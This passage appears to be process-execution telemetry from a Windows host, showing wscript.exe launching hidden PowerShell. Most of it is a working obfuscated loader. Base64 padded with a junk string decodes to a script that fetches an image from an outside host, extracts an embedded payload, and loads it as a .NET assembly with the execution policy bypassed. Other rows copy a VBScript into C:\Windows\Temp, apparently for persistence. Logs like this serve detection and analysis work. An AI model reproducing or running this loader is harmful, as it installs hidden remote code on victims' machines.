'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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DpiWvNwtC','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
| parent_process | wscript.exe | martian_process | powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasms.vbs -Force } | ||||||
| parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasms.vbs -Force } | ||||||
| parent_process | wscript.exe | martian_process | powershell -command "$Codigo = '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